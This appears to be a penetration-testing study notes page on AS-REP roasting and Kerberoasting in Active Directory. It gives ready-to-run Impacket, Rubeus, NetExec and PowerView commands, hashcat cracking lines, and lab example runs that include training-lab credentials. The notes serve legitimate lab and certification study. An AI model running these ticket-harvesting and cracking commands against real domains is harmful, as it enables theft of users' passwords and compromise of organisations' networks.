> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/creds/ad-authentication-attacks/authenticated-ad-attacks.md). # Authenticated AD Attacks Attacks with credentials from an authenticated AD user. ## Types of authenticated attacks ### AS-REP Roasting The ASREPRoast attack looks for users without Kerberos pre-authentication required. That means that anyone can send an AS\_REQ request to the KDC on behalf of any of those users, and receive an AS\_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline. {% hint style="info" %} **Info** We can list all users with pre-authentication disabled with PowerSploit/PowerView: ```powershell Get-DomainUser -PreauthNotRequired | select name ``` {% endhint %} #### AS-REP Roasting with Impacket (GetNPUsers.py) `GetNPUsers.py` from Impacket can retrieve kerberoast tickets for users that do not require pre-authentication. It will attempt to list and get TGTs for those users that have the property ‘Do not require Kerberos preauthentication’ set (UF\_DONT\_REQUIRE\_PREAUTH). To check for what account (if any) that have pre-authentication disabled ```bash impacket-GetNPUsers -dc-ip $DC_IP /: ```
Example run ```bash ┌──(kali㉿kali)-[~/OffSec_Courses/PEN-200] └─$ impacket-GetNPUsers -dc-ip $TARGET_IP corp.com/pete:'Nexus123!' Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies Name MemberOf PasswordLastSet LastLogon UAC ---- ---------------------------------------- -------------------------- -------------------------- -------- dave CN=Development Department,DC=corp,DC=com 2022-09-07 18:54:57.521205 2026-05-07 14:29:09.854251 0x410200 ```
With credentials you don't need a file with possible usernames to get AS-REP hashes. 
impacket-GetNPUsers -dc-ip $DC_IP -outputfile asrep_hashes.txt <domain>/<dom_user>:<dom_user_pw>
Add `-format john` to output hashes in John the Ripper Format. The default is `-format hashcat`. The `-request` parameter seems to be optional if the `-outputfile` parameter is used. **Usage information**
impacket-GetNPUsers -h ```bash ┌──(kali㉿kali)-[~] └─$ impacket-GetNPUsers -h Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies usage: GetNPUsers.py [-h] [-request] [-outputfile OUTPUTFILE] [-format {hashcat,john}] [-usersfile USERSFILE] [-ts] [-debug] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-dc-host hostname] target Queries target domain for users with 'Do not require Kerberos preauthentication' set and export their TGTs for cracking positional arguments: target [[domain/]username[:password]] options: -h, --help show this help message and exit -request Requests TGT for users and output them in JtR/hashcat format (default False) -outputfile OUTPUTFILE Output filename to write ciphers in JtR/hashcat format -format {hashcat,john} format to save the AS_REQ of users without pre-authentication. Default is hashcat -usersfile USERSFILE File with user per line to test -ts Adds timestamp to every logging output -debug Turn DEBUG output ON authentication: -hashes LMHASH:NTHASH NTLM hashes, format is LMHASH:NTHASH -no-pass don't ask for password (useful for -k) -k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line -aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits) connection: -dc-ip ip address IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter -dc-host hostname Hostname of the domain controller to use. If ommited, the domain part (FQDN) specified in the account parameter will be used ```
{% hint style="info" %} Note Crack the hashes with `hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt` {% endhint %} #### AS-REP Roasting with Rubeus AS-REP Roasting with [Rubeus](https://github.com/GhostPack/Rubeus?tab=readme-ov-file#asreproast) (Windows only). If no other arguments are supplied, all user accounts not requiring with Kerberos preauth not required are roasted. The `/user:X` argument roasts just the specified user, and the `/ou:X` argument roasts just users in the specific OU. The `/domain` and `/dc` arguments are optional, pulling system defaults as other actions do. The `/outfile:FILE` argument outputs roasted hashes to the specified file, one per line. ```bat Rubeus.exe asreproast /outfile:as-rep_roast.txt ``` ### Kerberoasting The goal of Kerberoasting is to harvest TGS tickets for services that run on behalf of user accounts in the AD, not computer accounts. Thus, part of these TGS tickets is encrypted with keys derived from user passwords. As a consequence, their credentials could be cracked offline. {% hint style="info" %} **Info** We can list all users with SPNs (Service Principle Names) with PowerSploit/PowerView: ```powershell Get-DomainUser -SPN | select name ``` {% endhint %} #### Kerberoasting with Impacket (GetUserSPNs.py) `GetUserSPNs.py` from Impacket will try to find and fetch Service Principal Names that are associated with normal user accounts. Output is compatible with JtR and HashCat. To check for SPNs ```bash impacket-GetUserSPNs -dc-ip $DC_IP /: ``` To get TGT-REP hashes: ```bash impacket-GetUserSPNs -dc-ip $DC_IP -outputfile tgtrep_hashes.txt /: ``` Add `-format john` to output hashes in John the Ripper Format. The default is `-format hashcat`. The `-request` parameter seems to be optional if the `-outputfile` parameter is used.
Example run ```bash ┌──(kali㉿kali)-[/mnt/…/TryHackMe/Challenges/Easy/VulnNet_Roasted] └─$ impacket-GetUserSPNs -dc-ip $TARGET_IP 'vulnnet-rst.local/t-skid:tj072889*' -outputfile kerberos_hash.txt Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation ---------------------- ------------------ ------------------------------------------------------------- -------------------------- -------------------------- ---------- CIFS/vulnnet-rst.local enterprise-core-vn CN=Remote Management Users,CN=Builtin,DC=vulnnet-rst,DC=local 2021-03-11 20:45:09.913979 2021-03-14 00:41:17.987528 [-] CCache file is not found. Skipping... ```
{% hint style="info" %} NOTE If impacket-GetUserSPNs throws the error "KRB\_AP\_ERR\_SKEW(Clock skew too great)," we need to synchronize the time of the Kali machine with the domain controller. ```bash sudo su ``` ```bash timedatectl set-ntp off ``` ```bash rdate -n $TARGET_IP ``` {% endhint %} {% hint style="info" %} Note Crack the hashes with `hashcat -m 13100 tgtrep_hashes.txt /usr/share/wordlists/rockyou.txt` {% endhint %} #### Kerberoasting with NetExec You can also perform Kerberoasting with [NetExec](https://www.netexec.wiki/ldap-protocol/kerberoasting) over LDAP. ```bash nxc ldap -u -p --kerberoasting kerberoast_out.txt ``` #### Kerberoasting with PowerSploit We can both get users with SPNs and get corresponding tickets with PowerSploit ```powershell Get-DomainUser -SPN | Get-DomainSPNTicket ``` #### Kerberoasting with Rebues Kerberoasting with [Rebeus](https://github.com/GhostPack/Rubeus?tab=readme-ov-file#kerberoast) (Windows Only). "Opsec" Kerberoasting, using the **tgtdeleg** trick, filtering out AES-enabled accounts: ```bat Rubeus.exe kerberoast /rc4opsec /outfile:kerberoast_rc4.txt ``` If the `/rc4opsec` flag is specified, the **tgtdeleg** trick is used, and accounts **without** AES enabled are enumerated and roasted. Full Kerberoasting: ```bat Rubeus.exe kerberoast /outfile:kerberoast.txt ``` With no other arguments, all user accounts with SPNs set in the current domain are Kerberoasted, *requesting their highest supported encryption type* (see the [opsec table](https://github.com/GhostPack/Rubeus?tab=readme-ov-file#kerberoasting-opsec)). The `/spn:X` argument roasts just the specified SPN, the `/user:X` argument roasts just the specified user, and the `/ou:X` argument roasts just users in the specific OU. The `/domain` and `/dc` arguments are optional, pulling system defaults as other actions do. The `/outfile:FILE` argument outputs roasted hashes to the specified file, one per line. If the `/simple` flag is specified, roasted hashes will be output to the console, one per line. If the `/nowrap` flag is specified, Kerberoast results will not be line-wrapped. To list statistics about found Kerberoastable accounts without actually sending ticket requests: ```bat Rubeus.exe kerberoast /stats ``` The `/stats` flag will output statistics about kerberoastable users found, including a breakdown of supported encryption types and years user passwords were last set. This flag can be combined with other targeting options. ## Resources Impacket - GitHub: Impacket - Homepage: Impacket - Kali Tools: Impacket-scripts - Kali Tools: NetExec - GitHub: NetExec - Kali Tools: NetExec - Wiki: PowerSploit - Documentation: PowerSploit - GitHub: Rubeus - GitHub: Rubeus - Kali Tools: